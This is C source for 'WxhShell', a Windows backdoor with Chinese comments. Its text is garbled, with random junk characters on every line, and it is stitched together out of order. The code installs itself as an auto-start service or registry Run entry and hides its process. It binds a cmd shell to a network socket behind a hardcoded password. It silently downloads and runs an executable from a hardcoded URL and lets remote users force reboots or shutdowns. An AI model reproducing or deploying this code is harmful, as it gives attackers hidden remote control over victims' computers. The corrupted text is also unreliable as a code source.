    closesocket(wsh); :0)3K7Q   
    ExitThread(0); {j5e9pg1L|  
    } cKb)VG^  
    break; $D v\ e  
    } x_Jwd^`t!  
  // 关机 R" )bDy?  
  case 'd': { uEyH2QO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gBh;=vOD  
    if(Boot(SHUTDOWN)) I+>%uShm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $N :Vo(*  
    else { n+lOb  
    closesocket(wsh); yme^b ;a  
    ExitThread(0); {!|}=45Z  
    } DrnJ;Hi"  
    break; m-^ 8W[r+_  
    } Y)N-V ]5L  
  // 获取shell )[mwP.T=  
  case 's': { 5zFR7/p{  
    CmdShell(wsh); dVB~Smsr  
    closesocket(wsh); "s!7dKXI"  
    ExitThread(0); kr$ b^"Ku  
    break; jdE5~a+  
  } -C(b,F%%  
  // 退出 J_Ltuso  
  case 'x': { #ET/ =  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8]4U`\k4  
    CloseIt(wsh); 63`{.yZ*z  
    break; V-n&oCS+f  
    } SS`qJZ|w  
  // 离开 +w@M~?>  
  case 'q': { 2C{H$ A,pW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U9D!GKVp  
    closesocket(wsh); ? (*t@ {k  
    WSACleanup(); E*L iM5+I  
    exit(1); x+f2GA$  
    break; 5JEbe   
        } DvvT?K  
  } `n$5+a+  
  } lWBb4 !l  
'47P|t  
  // 提示信息 2I*;A5$N1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fDG0BNLY  
} lds- T  
  } 8-y{a.,u.  
x(<(t: ?o  
  return; %IC73?  
} =+ t^f  
E0 `Lg c  
// shell模块句柄 dlhdsj:  
int CmdShell(SOCKET sock) >^XBa*4;Y  
{ P/EM :  
STARTUPINFO si; J|'7_0OAx  
ZeroMemory(&si,sizeof(si)); F u&EhGm6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L\y;LSTU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6c^e\0q  
PROCESS_INFORMATION ProcessInfo; asY[8r?U  
char cmdline[]="cmd"; \(t@1]&jw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u7?$b!hG^C  
  return 0; CR6R?R3b  
} P!"&%d  
6mKjau{r_  
// 自身启动模式 )_/5*Ly@  
int StartFromService(void) v3v[[96p  
{ [D*UT#FM  
typedef struct @as"JAN  
{ @+atBmt  
  DWORD ExitStatus; J|&JD?  
  DWORD PebBaseAddress; rvr-XGK36\  
  DWORD AffinityMask; pABs!A`N  
  DWORD BasePriority; !Hys3AP  
  ULONG UniqueProcessId; x\Z'2?u}  
  ULONG InheritedFromUniqueProcessId; 5) -~mW y  
}   PROCESS_BASIC_INFORMATION; pp7$J2s+j  
5]M>8ll  
PROCNTQSIP NtQueryInformationProcess; i1S>yV^l  
+3KEzo1=)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :1Q!$  m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ChCrL [2  
0ez(A  
  HANDLE             hProcess; B'^:'uG  
  PROCESS_BASIC_INFORMATION pbi; L#vI=GpL,r  
&ZL3{M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oh$Q6G  
  if(NULL == hInst ) return 0; 5uxBK"q  
/z BxJT0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rXA*NeA3v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vDH>H^9Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qhT@;W/X  
;|UF)QGa2  
  if (!NtQueryInformationProcess) return 0; XoA+MuDzpo  
-!c"k}N=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u%.$BD Hg  
  if(!hProcess) return 0; 0{#8',*}m?  
ezPz<iZ\N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v%fu  
$V1;la!  
  CloseHandle(hProcess); {dmj/6Lc  
uL[.ND2._&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ei rzYt  
if(hProcess==NULL) return 0; 4C FB"?n0  
Q'%PNrN  
HMODULE hMod; AE} )o)B  
char procName[255]; {'U Rz[g  
unsigned long cbNeeded; :>+s0~  
G#MdfKH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gdkwWoN .  
Unsogd  
  CloseHandle(hProcess); rL}YLR  
92^w8Z.  
if(strstr(procName,"services")) return 1; // 以服务启动 -YsLd 9^4  
Nj?/J47?,  
  return 0; // 注册表启动 qu|B4?Y/CR  
} .|/~op4;  
f]`vRvbe  
// 主模块 S{Er?0wm.R  
int StartWxhshell(LPSTR lpCmdLine) y~75r\"R  
{ W^G>cC8.L  
  SOCKET wsl; s+Q~~]HJM  
BOOL val=TRUE; >Jp:O 7  
  int port=0; r3>i+i42  
  struct sockaddr_in door; 8jyG" %WO  
.jj$Kh q]  
  if(wscfg.ws_autoins) Install(); QR>gt;  
U*3uq7  
port=atoi(lpCmdLine); 5< ja3  
zL\OB?)5J  
if(port<=0) port=wscfg.ws_port; Q:5KZm[[  
VO"("7L  
  WSADATA data; Ntbg`LGf'!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D:Zy  
vBog0KD);s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s M+WkN}{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e6!LSx}y  
  door.sin_family = AF_INET; tzs</2 G,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yV"ZRrjO'Z  
  door.sin_port = htons(port); f4BnX(1u  
"I QlVi  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'D @-  
closesocket(wsl); v$N|"o""  
return 1; @WI2hHD  
} &9Xhl''  
'{(UW.Awo  
  if(listen(wsl,2) == INVALID_SOCKET) { 0pbtH8~  
closesocket(wsl); ;6!Pwb;hY  
return 1; c_V;DcZ  
} <A# l 35  
  Wxhshell(wsl); KG=h&  
  WSACleanup(); /RMPS. d {  
`(3/$%  
return 0; SI=yI-  
v;0|U:`]  
} 5Lf{8UxI  
TYQwy*  
// 以NT服务方式启动 qkC/\![@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W16,Alf:  
{ 4fKC6UR  
DWORD   status = 0; q=#} yEG  
  DWORD   specificError = 0xfffffff; RoyPrO [3  
&SrO)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; El@(mOu|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0)m(;>'70  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?`4+cx}n  
  serviceStatus.dwWin32ExitCode     = 0; zSFDUZ]A3  
  serviceStatus.dwServiceSpecificExitCode = 0; kSDZZx  
  serviceStatus.dwCheckPoint       = 0; ]Oif|k`{  
  serviceStatus.dwWaitHint       = 0; =Jym%m  
q#8 [  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0q'w8]m  
  if (hServiceStatusHandle==0) return; L>YU,I\o  
qBCK40   
status = GetLastError(); Dre]AsgiV  
  if (status!=NO_ERROR) YiPoYlD*n<  
{ m o:D9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Uy$)%dYfq5  
    serviceStatus.dwCheckPoint       = 0; p1|f<SF')  
    serviceStatus.dwWaitHint       = 0; o9H^?Rut  
    serviceStatus.dwWin32ExitCode     = status; qcN'e.A  
    serviceStatus.dwServiceSpecificExitCode = specificError; IEzaK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w.0qp)}  
    return; ;dzL}@we  
  } -k"^o!p  
}|XtypbL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q^#;WASi  
  serviceStatus.dwCheckPoint       = 0; B|&"#Q  
  serviceStatus.dwWaitHint       = 0; EcCFbqS4W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IqD_GL)Ms  
} ETXZ?\<a5  
`3hSL R  
// 处理NT服务事件,比如:启动、停止 |0%+wB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X3V'Cy/sy  
{ fF V!)Zj  
switch(fdwControl) iySRY^  
{ >mjNmh7  
case SERVICE_CONTROL_STOP: YxP@!U9dE,  
  serviceStatus.dwWin32ExitCode = 0; <NuUW9+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `YI f_a{  
  serviceStatus.dwCheckPoint   = 0; Iwc{R8BV  
  serviceStatus.dwWaitHint     = 0; GPGm]Gt  
  { u6bXv(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o!!yd8~*r  
  } 0eS)&GdR  
  return; n2fbp\I  
case SERVICE_CONTROL_PAUSE: <Ce2r"U1e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $]A/ o(  
  break; uECsh2Uin  
case SERVICE_CONTROL_CONTINUE: Gqy,u3lE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F  3'9u#  
  break; N+y&,N,  
case SERVICE_CONTROL_INTERROGATE: th&[Nt7  
  break; P [k$vD  
}; T"0,r $3:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L_K=g_]  
} }sOwp}FV8X  
pe{; ~-|6  
// 标准应用程序主函数 y})70w@ +_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g=$1cC+(  
{ ''Cay0h  
 ,qYJioWX  
// 获取操作系统版本 >z.<u|r2  
OsIsNt=GetOsVer(); ryFxn|4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ti<;7Yb  
f0BdXsV#g  
  // 从命令行安装 ^J\~XYg{7  
  if(strpbrk(lpCmdLine,"iI")) Install(); `ck$t5:6sp  
Z%n(O(^L  
  // 下载执行文件 ZE/o?4k*c1  
if(wscfg.ws_downexe) { FTeu~<KpM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $O*O/ iG  
  WinExec(wscfg.ws_filenam,SW_HIDE); xQp|;oW;z  
} ]hbyELs  
._+J_ts  
if(!OsIsNt) { -G|G_$9  
// 如果时win9x,隐藏进程并且设置为注册表启动 /0eYMG+K=  
HideProc(); rQaxr!  
StartWxhshell(lpCmdLine); 37RLE1Yf  
} "|HDGA5  
else HuV J\%.  
  if(StartFromService()) R%c SJ8O#  
  // 以服务方式启动 @-&s: Qli  
  StartServiceCtrlDispatcher(DispatchTable); 7ek&[SJ>,/  
else MG{YrX)oi  
  // 普通方式启动 HX6Ma{vBk  
  StartWxhshell(lpCmdLine); &|`C)6[C  
kGN+rHo   
return 0; '_$uW&{NI  
} h)Ff2tX  
!0dNQ[$82  
A+UU~?3y  
?K3(D;5 &i  
=========================================== ^'ryNa;"  
+tD[9b! m  
wW%4d  
 *tAg*$  
gc?#pP  
3dDX8M?  
" kn/Ao}J74z  
YXI'gn2b#  
#include <stdio.h> l3IWoa&sh  
#include <string.h> bN3#{l-`  
#include <windows.h> vC5n[0  
#include <winsock2.h> i}~SDY  
#include <winsvc.h> nYJTKU  
#include <urlmon.h> l#}.^71+  
SC- $B  
#pragma comment (lib, "Ws2_32.lib") UDL RCS8i  
#pragma comment (lib, "urlmon.lib") fhCc! \  
KW7UUXL  
#define MAX_USER   100 // 最大客户端连接数 P06R JE  
#define BUF_SOCK   200 // sock buffer ?]4>rl}  
#define KEY_BUFF   255 // 输入 buffer _Dwqy(   
%.z,+Zz?  
#define REBOOT     0   // 重启 1u|Rl:Q  
#define SHUTDOWN   1   // 关机 ZZyDG9a>7  
p^pOuy8  
#define DEF_PORT   5000 // 监听端口 # (- Qx  
#-GJ&m8  
#define REG_LEN     16   // 注册表键长度 XduV+$ 03  
#define SVC_LEN     80   // NT服务名长度 T t>8?  
+z$pg  
// 从dll定义API O%ug@& S{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W\L`5CW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "ax..Mh\y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <u=4*:QE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |> _!eS\=<  
>pr=|$zk=  
// wxhshell配置信息 36n>jS&  
struct WSCFG { !L95^g   
  int ws_port;         // 监听端口 Jx=hJ-FY  
  char ws_passstr[REG_LEN]; // 口令 Q(o!iI:Gts  
  int ws_autoins;       // 安装标记, 1=yes 0=no AZ{^o4<q  
  char ws_regname[REG_LEN]; // 注册表键名 #"49fMi/  
  char ws_svcname[REG_LEN]; // 服务名 raQ7.7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E{2Eoj;gq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +GAf O0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "rAY.E]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oY=q4D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s<]&*e&}?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -uH#VP{0M  
8x[YZ@iM-  
}; /NFz4h =>  
0=="^t_  
// default Wxhshell configuration c1xrn4f@a  
struct WSCFG wscfg={DEF_PORT, *;XWLd#  
    "xuhuanlingzhe", Y+3!f#exm  
    1, $:of=WTY(  
    "Wxhshell", 8#D:H/`'  
    "Wxhshell", A?*o0I  
            "WxhShell Service", ^xZ e2@  
    "Wrsky Windows CmdShell Service", $v b,P(  
    "Please Input Your Password: ", W@2vjz  
  1, e9E\% p  
  "http://www.wrsky.com/wxhshell.exe", l)-Mq@V  
  "Wxhshell.exe" &k8vWXMGk%  
    }; w ;e(Gb%9  
A4QcQ"  
// 消息定义模块 W8g' lqc|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h},oF!,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U/NBFc:[y:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {W\T"7H  
char *msg_ws_ext="\n\rExit."; c )7j QA  
char *msg_ws_end="\n\rQuit."; :h1pBEiH  
char *msg_ws_boot="\n\rReboot..."; zW8*EE+,  
char *msg_ws_poff="\n\rShutdown..."; d` Sr4c  
char *msg_ws_down="\n\rSave to "; +B|7p9qy  
]p!Gt,rYq  
char *msg_ws_err="\n\rErr!"; -TV?E%r  
char *msg_ws_ok="\n\rOK!"; cc44R|Kr$$  
O6].*25  
char ExeFile[MAX_PATH]; {ccIxL /~  
int nUser = 0; 7_# 1Ec|;  
HANDLE handles[MAX_USER]; 4c+$%pq5  
int OsIsNt; ^W7X(LQ*+  
'>(.%@  
SERVICE_STATUS       serviceStatus; j8K,jZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6yy;JQAke  
} 17.~  
// 函数声明 &Z^ l=YH,  
int Install(void); tV/Z)fpyH  
int Uninstall(void); IooNb:(  
int DownloadFile(char *sURL, SOCKET wsh); n& $^04+i  
int Boot(int flag); ;<Km 3  
void HideProc(void); x|KWyfOS  
int GetOsVer(void); Ac|5. ?|N  
int Wxhshell(SOCKET wsl); gip/(/NX  
void TalkWithClient(void *cs); |~<N -~.C  
int CmdShell(SOCKET sock); -xD*tf*  
int StartFromService(void); Hk7K`9  
int StartWxhshell(LPSTR lpCmdLine); -]:G L>b  
7'N S9|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [\Qr. 2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0L^u2HZYL  
_#_ E^!  
// 数据结构和表定义 ~LQ[4h<J !  
SERVICE_TABLE_ENTRY DispatchTable[] = ; "3+YTtp  
{ ^S#t|rN  
{wscfg.ws_svcname, NTServiceMain}, #;# 3%?  
{NULL, NULL} +([!A6:  
}; 19q{6X`x  
|3? 8)z\n  
// 自我安装 ,DnYtIERo  
int Install(void) mceG!@t  
{ q*)+K9LRk  
  char svExeFile[MAX_PATH]; rbqo"g`  
  HKEY key; ,LOQDIyn  
  strcpy(svExeFile,ExeFile); N]YtLa,t  
Jg$xO@.  
// 如果是win9x系统,修改注册表设为自启动 Ei({`^  
if(!OsIsNt) { {I{:GcS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9tg)Mo%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /( 6|{B  
  RegCloseKey(key); W >(vYU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +'oX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IK^~X{I?  
  RegCloseKey(key); 7L:7/  
  return 0; 6yAA~;*5'  
    } +[ .Yy  
  } x6'^4y])  
} q1k{  
else { _w ]4~V9  
YH:8<O,{-  
// 如果是NT以上系统,安装为系统服务 FnHi(S|A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8X?>=tl  
if (schSCManager!=0) AK u_~bTk  
{ )fU(AXSP  
  SC_HANDLE schService = CreateService kD.pzx EM  
  ( v$w++3H  
  schSCManager, #Tp]^ n  
  wscfg.ws_svcname, Cpx+qQt0  
  wscfg.ws_svcdisp, m|svQ-/j  
  SERVICE_ALL_ACCESS, R,@g7p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %1:chvS  
  SERVICE_AUTO_START, 'q%%m/,VPQ  
  SERVICE_ERROR_NORMAL, Ps R>V)L  
  svExeFile, Cef:tdk7  
  NULL, #< CIFVH  
  NULL, BC\S/5~k  
  NULL, l!IKUzt)7  
  NULL, \.s`n2.w  
  NULL ,R wfp=*E  
  ); gmSQcN)  
  if (schService!=0) 0NO1M)HQv  
  { RM*f|j  
  CloseServiceHandle(schService); 0&fl#]oCE  
  CloseServiceHandle(schSCManager); /owO@~G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #^mqQRpgq  
  strcat(svExeFile,wscfg.ws_svcname); ^~ L}<]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?Hy+'sq[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rlznwfr7+  
  RegCloseKey(key); QYThW7S  
  return 0; ~S(^T9R  
    } mgkyC5)d  
  } pvXcLR)L+3  
  CloseServiceHandle(schSCManager); NyPd5m:  
} }C(5-7  
} 3#.\  
M1u{A^d.Z  
return 1; ulXnq`  
} d34Y'r  
8V5a%2eV  
// 自我卸载 ;6DnId2Zh  
int Uninstall(void) xX@FWAj  
{ N?23 m`3  
  HKEY key; -p# ,5}  
z \?UGxu}  
if(!OsIsNt) { t%+$" nP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O]nT>;PXX  
  RegDeleteValue(key,wscfg.ws_regname); RIhOR8 )  
  RegCloseKey(key); Q;26V4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E`@43Nz  
  RegDeleteValue(key,wscfg.ws_regname); V_a)jJ  
  RegCloseKey(key); .RRlUWu  
  return 0; F=&;Y@t  
  } 3q &k  
} %<}=xJf>1  
} m)f|:MM  
else { ?y-s20Kd  
A 0#Y, 1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yr4ou  
if (schSCManager!=0) g"y?nF.&F  
{ BXTN>d27  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aR:<<IF\  
  if (schService!=0) Fh`-(,e?5  
  { W(@>?$&  
  if(DeleteService(schService)!=0) { ')nnWlK  
  CloseServiceHandle(schService); eoJ]4-WFq  
  CloseServiceHandle(schSCManager); 9e5gy  
  return 0; (fXq<GXAn/  
  } .s};F/(diD  
  CloseServiceHandle(schService); H~m]nV,r  
  } #pu}y,QN$  
  CloseServiceHandle(schSCManager); o =9'  
} YsAF{  
} k|#Zy,  
,h!X k  
return 1; aJ2H.E  
} wD=am  
R{<Y4C2~  
// 从指定url下载文件 BLW]|p|1:  
int DownloadFile(char *sURL, SOCKET wsh) z~.9@[LG]  
{ 5<N~3 1z  
  HRESULT hr; +k rFB?>`  
char seps[]= "/"; l10-XU02  
char *token; *g$agyOfh  
char *file; X')S;KW  
char myURL[MAX_PATH]; [.U^Wrd  
char myFILE[MAX_PATH]; 6_ ]8\n  
^/{4'\p  
strcpy(myURL,sURL); aQh?}=da  
  token=strtok(myURL,seps); l;5`0N?QO  
  while(token!=NULL) }jcIDiSu  
  { Opry`}5h  
    file=token; CZfE |T~  
  token=strtok(NULL,seps); b"P&+c  
  } `Qq/ F]  
ITn;m  
GetCurrentDirectory(MAX_PATH,myFILE); [|<EDR  
strcat(myFILE, "\\"); yiO31uQt  
strcat(myFILE, file); qvTKfIl{  
  send(wsh,myFILE,strlen(myFILE),0); Ws>i)6[  
send(wsh,"...",3,0); 6!RikEAh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -aN":?8(G  
  if(hr==S_OK) irmwc'n]  
return 0; cUC17z2D  
else ^^ j/  
return 1; lE a W7j  
l4Y1(  
} "7?t)FOo  
!VNbj\Bp  
// 系统电源模块 O*4gV}:G  
int Boot(int flag) H%~Q?4  
{ 6JWGu/A  
  HANDLE hToken; U6a z hi&,  
  TOKEN_PRIVILEGES tkp; !5E9sk{)  
*2#FRA#q  
  if(OsIsNt) { P#F_>GB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q]+)c2M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i;avwP<0  
    tkp.PrivilegeCount = 1; S[.5n]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TnxU/)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9C>ynH  
if(flag==REBOOT) { qSR? ,G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r?afv.@L2  
  return 0; ^#7viZ*  
} rr)9Y][l}  
else { Vs|sw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4[xA- \  
  return 0; EaCZx  
} cb4b, Ri  
  } 1{7_ `[  
  else { =<>pKQ)[  
if(flag==REBOOT) { taixBNv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z]p8IH%~92  
  return 0; 2| $k`I,  
} y\@SC\jk|  
else { < %/:w/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tPzM7 n|  
  return 0; bCt_y R  
} w0$R`MOR+  
} w@2~`<Hk'"  
Kf&r21h  
return 1; S8vx[<  
} F[(6*/46x  
BM.-X7)  
// win9x进程隐藏模块 Q+HZ?V(  
void HideProc(void) @F~0p5I  
{ pNBa.4z:  
dJaEoF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =;g=GcVK  
  if ( hKernel != NULL ) CR.bMF}  
  { `M,Nd'5&|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~X[S<Gi#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jJ*=Ghu-  
    FreeLibrary(hKernel); B0S8vU  
  } N]V/83_  
>|5XaaDa  
return; xdCs5ko  
} 5UPPk$8 `  
XEa~)i{O  
// 获取操作系统版本 X+d&OcO=q  
int GetOsVer(void) `|uoqKv  
{ ~DK F%}E  
  OSVERSIONINFO winfo; }]tFz}E\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l~4_s/  
  GetVersionEx(&winfo); Wf_CR(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4@= aa  
  return 1; 4VC/-.At  
  else 9armirfV'P  
  return 0; ;Sy/N||  
} z( *]'Y  
!+5C{Hs2  
// 客户端句柄模块 )K8P+zn~  
int Wxhshell(SOCKET wsl) {WIY8B'c  
{ <( cM*kV  
  SOCKET wsh; 3.B4(9:>,  
  struct sockaddr_in client; ]v<d0" 2  
  DWORD myID; (/('nY  
2B5A!? ~>  
  while(nUser<MAX_USER) Jk%'mEGE  
{ (21']x  
  int nSize=sizeof(client); zUNH8=U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 10/x'#(  
  if(wsh==INVALID_SOCKET) return 1; _s2m-jm7  
{ ( _B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H\ {E%7^h-  
if(handles[nUser]==0) fm[_@L% x  
  closesocket(wsh); v/]Qq  
else l t&$8jh  
  nUser++; OTnu{<.a  
  } r[6#G2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U.HoFf+HN  
.MzOLv   
  return 0; mu 2 A%"7  
} \nrgAC-b  
=DGn,i9  
// 关闭 socket 44Q6vb?  
void CloseIt(SOCKET wsh) '" ^ B&W  
{ UwZu:[T6H  
closesocket(wsh); :U!'U;uQ  
nUser--; #Tup]czO  
ExitThread(0); /A %om|+Gq  
} ?s1u#'aO  
s*aH`M7^0  
// 客户端请求句柄 +Gk! t]dy  
void TalkWithClient(void *cs) '2 w XV;`  
{ ,}eRnl\  
sM #!Xl;  
  SOCKET wsh=(SOCKET)cs; V h Z=,m  
  char pwd[SVC_LEN]; .WBI%ci  
  char cmd[KEY_BUFF]; ;Fx')  
char chr[1]; %~][?Y ><  
int i,j; 3Gc ,I:\  
$o/0A  
  while (nUser < MAX_USER) { ~gSwxGT7d  
'bZMh9|  
if(wscfg.ws_passstr) { YgO aZqN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *?EO n-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (~q#\  
  //ZeroMemory(pwd,KEY_BUFF); Pz5ebhgq  
      i=0; IXbdS9,>F  
  while(i<SVC_LEN) { IlcNT_ 5a8  
Pd)K^;em  
  // 设置超时 z\xiACIc  
  fd_set FdRead; D?iy.Dg  
  struct timeval TimeOut; b*btkaVue  
  FD_ZERO(&FdRead); 2N L:\%wz  
  FD_SET(wsh,&FdRead); >{phyByI  
  TimeOut.tv_sec=8; 6T R8D\  
  TimeOut.tv_usec=0; 83{x"G3>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t-.2 +6"\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dE 3i=  
I;`Ko_i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 04I6 -}6  
  pwd=chr[0]; Y&oP>n! ei  
  if(chr[0]==0xd || chr[0]==0xa) { ):/<H  
  pwd=0; 1mT|o_K{ T  
  break; cmwzKu%  
  } f28gE7Y\a  
  i++; #)W8.  
    } ?)Tz'9l  
?l)}E  
  // 如果是非法用户,关闭 socket ^Nd|+}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dH ^b)G4  
} tqff84  
bs<WH`P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y{%4F%Oy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )ZS:gD  
K*([9VZ  
while(1) { _7-"Vo X  
QV nO  
  ZeroMemory(cmd,KEY_BUFF); XD_P\z  
&4mfzpK  
      // 自动支持客户端 telnet标准   [_g#x(=  
  j=0; 1TK #eU  
  while(j<KEY_BUFF) { ki[;ZmQq Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r~S!<9f  
  cmd[j]=chr[0]; mp&Le YYn  
  if(chr[0]==0xa || chr[0]==0xd) { K $Mx}m7l  
  cmd[j]=0; 3Eb nZb  
  break; [(D}%+2   
  } NZfo`iHAN  
  j++; 1Qp1Es<)  
    } W+#}~2&Dv  
4FfwpO3,Ku  
  // 下载文件 U6/m_`nc  
  if(strstr(cmd,"http://")) { :0J-ek.;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jw`&Np2Q  
  if(DownloadFile(cmd,wsh)) pl jV|.?  
